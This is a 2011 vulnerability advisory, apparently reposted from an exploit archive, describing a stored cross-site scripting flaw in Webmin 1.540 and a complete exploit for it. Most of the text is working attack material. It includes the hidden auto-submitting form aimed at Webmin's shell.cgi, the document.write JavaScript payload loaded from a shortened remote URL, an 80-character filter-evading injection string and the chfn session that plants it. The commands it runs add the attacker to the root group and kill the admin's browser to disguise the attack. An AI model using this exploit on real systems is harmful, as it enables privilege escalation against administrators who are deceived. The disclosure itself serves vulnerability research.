Webmin 1.540 Cross Site Scripting / Command Execution

2011.04.27
Credit: Javier Bassi
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

Information -------------------- Name : XSS vulnerability in Webmin Software : All versions prior to and including 1.540 are affected. Vendor Hompeage : http://www.webmin.com Vulnerability Type : Cross-Site Scripting Severity : Medium Researcher : Javier Bassi <javierbassi [at] gmail [dot] com> Description ------------------ Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more. https://secure.wikimedia.org/wikipedia/en/wiki/Webmin Details ------------------- Webmin is affected by a XSS vulnerability in all versions prior to and including 1.540. Webmin fails to sanitize $real in useradmin/index.cgi. $real is the "Full Name" in the finger information of the user. useradmin/index.cgi is the control panel of the "Users & Groups" section in webmin. An attacker that has a normal user on the victim's machine could be able to change his Full Name with chfn command, inject XSS and execute commands as root. Developing a exploit: ------------------- With Webmin you can execute shell commands and the only security measure Webmin has is checking the Referer in the HTTP headers. So we can't use <iframe>, but we can bypass this protection by injecting a code that execute a Javascript file that prints a form that autosubmits itself to the Webmin's shell.cgi and execute mutiple commands in the format command1;command2;...;commandn So XSS-->.js-->form-->autosubmit-->shell.cgi The injected code will be displayed inside a form, so we need to close the original form first with </form>. The shell/index.cgi form is the next one: </form><form class='ui_form' style="visibility:hidden" action='https://zion:10000/shell/index.cgi' method=post enctype=multipart/form-data > <input class='ui_submit' type=submit value="Execute command:"> <input class='ui_textbox'type=hidden name="cmd" value="" size=50 style='width:100%'></td> <input class='ui_submit' type=submit name="clear" value="Clear history"> <input class='ui_hidden' type=hidden name="pwd" value="/root"> <input class='ui_hidden' type=hidden name="history" value=""> <input class='ui_hidden' type=hidden name="previous" value="find /usr -name sftp-server"> <input class='ui_hidden' type=hidden name="previous" value="echo /usr/lib/sftp-server >> /etc/shells"> <input class='ui_hidden' type=hidden name="previous" value="cat /etc/shells"> <input class='ui_hidden' type=hidden name="previous" value="find /usr/lib -name sftp-server"> <input class='ui_hidden' type=hidden name="previous" value="echo /usr/lib/openssh/sftp-server >> /etc/shells"> <input class='ui_submit' type=submit name="doprev" value="Execute previous command"> <select class='ui_select' name="pcmd" ><option value="echo /usr/lib/openssh/sftp-server >> /etc/shells" >echo /usr/lib/openssh/sftp-server >> /etc/shells <option value="find /usr/lib -name sftp-server" >find /usr/lib -name sftp-server <option value="cat /etc/shells" >cat /etc/shells <option value="echo /usr/lib/sftp-server >> /etc/shells" >echo /usr/lib/sftp-server >> /etc/shells <option value="find /usr -name sftp-server" >find /usr -name sftp-server </select><input type=button name=movecmd value='Edit previous' onClick='cmd.value = pcmd.options[pcmd.selectedIndex].value'> <input class='ui_submit' type=submit name="clearcmds" value="Clear commands"> </form> We use Javascript to autosubmit it. We add id="lala" in form tag and also we add the next script at the end of the code: <script>document.getElementById('lala').submit();</script> Commands go in 'cmd' input. A nice combination of commands could be: chfn -f "safename" neo;usermod -G root neo;usermod -g root neo;killall -9 firefox-bin So when the admim browse "Users & Groups" this will change the Full name of our user 'neo' back to a safe one, makes us root and kill firefox. The admin will think firefox crashed and when he goes back to "Users and Groups" in Webmin it will not crash again beause we already changed our full name. To include commands in value="" they must be html escaped: ( http://www.htmlescape.net/htmlescape_tool.html ) chfn -f &quot;safename&quot; neo;usermod -G root neo;usermod -g root neo;killall -9 firefox-bin Now we need a .js file that prints the form + the autosubmit code. (thx to http://accessify.com/tools-and-wizards/developer-tools/html-javascript-convertor/ ) It will look like this document.write("<\/form><form class='ui_form' style=\"visibility:hidden\" id=\"lala\" action='https:\/\/zion:10000\/shell\/index.cgi' method=post enctype=multipart\/form-data >"); document.write("<input class='ui_submit' type=submit value=\"Execute command:\">"); document.write("<input class='ui_textbox'type=hidden name=\"cmd\" value=\"chfn -f &quot;safename&quot; neo;usermod -G root neo;usermod -g root neo;killall -9 firefox-bin\" size=50 style='width:100%'><\/td>"); document.write("<input class='ui_submit' type=submit name=\"clear\" value=\"Clear history\">"); document.write("<input class='ui_hidden' type=hidden name=\"pwd\" value=\"\/root\">"); document.write("<input class='ui_hidden' type=hidden name=\"history\" value=\"\">"); document.write("<input class='ui_hidden' type=hidden name=\"previous\" value=\"find \/usr -name sftp-server\">"); document.write("<input class='ui_hidden' type=hidden name=\"previous\" value=\"echo \/usr\/lib\/sftp-server >> \/etc\/shells\">"); document.write("<input class='ui_hidden' type=hidden name=\"previous\" value=\"cat \/etc\/shells\">"); document.write("<input class='ui_hidden' type=hidden name=\"previous\" value=\"find \/usr\/lib -name sftp-server\">"); document.write("<input class='ui_hidden' type=hidden name=\"previous\" value=\"echo \/usr\/lib\/openssh\/sftp-server >> \/etc\/shells\">"); document.write("<input class='ui_submit' type=submit name=\"doprev\" value=\"Execute previous command\">"); document.write("<select class='ui_select' name=\"pcmd\" ><option value=\"echo \/usr\/lib\/openssh\/sftp-server >> \/etc\/shells\" >echo \/usr\/lib\/openssh\/sftp-server >> \/etc\/shells"); document.write("<option value=\"find \/usr\/lib -name sftp-server\" >find \/usr\/lib -name sftp-server"); document.write("<option value=\"cat \/etc\/shells\" >cat \/etc\/shells"); document.write("<option value=\"echo \/usr\/lib\/sftp-server >> \/etc\/shells\" >echo \/usr\/lib\/sftp-server >> \/etc\/shells"); document.write("<option value=\"find \/usr -name sftp-server\" >find \/usr -name sftp-server"); document.write("<\/select><input type=button name=movecmd value='Edit previous' onClick='cmd.value = pcmd.options[pcmd.selectedIndex].value'>"); document.write("<input class='ui_submit' type=submit name=\"clearcmds\" value=\"Clear commands\">"); document.write("<\/form><script>document.getElementById('lala').submit();<\/script>"); We have to upload the file somewhere and use a url shotener. Now we need the script code that loads the .js file. Linux program chfn limits the Full name field to 80 chars and restrict the next three chars: = (equal) , (comma) or : (colon) The XSS code we can use is the next one (tested in FF4.0): <script>document.write("<script src\u003d//bit.ly/g2KmJP></scr"+"ipt>")</script> (this code bypass NoScript anti-XSS protection) To perform the exploit we have login and change our finger information neo@Zion ~ $ chfn Password: Changing the user information for neo Enter the new value, or press ENTER for the default Full Name [safename]: <script>document.write("<script src\u003d//bit.ly/g2KmJP></scr"+"ipt>")</script> Room Number []: Work Phone []: Home Phone []: neo@Zion ~ $ Finally we wait for the admin to invite us to join the root group ;) Other considerations ------------------- * The "//" in the XSS code is equal to "http://" only in the cases in which the code is placed in an http:// website. Because Webmin panel is https:// we need a URL shortener service with SSL and a valid certificate. That's why I used bit.ly. The shortest ones like goo.gl and sr.pr don't have valid SSL ceterfiticate so a warning will appear in most browsers when trying to access them via https asking us if we want to continue. In an exploit scenario we can't use them. * We will be able to modify our Full Name with chfn only if constant CHFN_RESTRICT is set to "frwh" in /etc/login.defs. This is the default config in Mandriva and Slackware but not in Debian which is set to "rwh". I don't know about other distros. * With XSS we could have also steal admin's cookie but it's most likely that NoScript will block that attack. The reason why NS can't block this one is because is not exactly a typical cross-domain XSS. This is HTML injection or permanent XSS. Credits ------------------- Javier Bassi- http://javierb.com.ar Special thanks to barbarianbob from sla.ckers.org for compressing the XSS from 92 chars to 80. References ------------------- 1. Advisory URL: http://javierb.com.ar/2011/04/24/xss-webmin-1-540/ 2. Exploit in action: http://www.youtube.com/watch?v=CUO7JLIGUf0


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top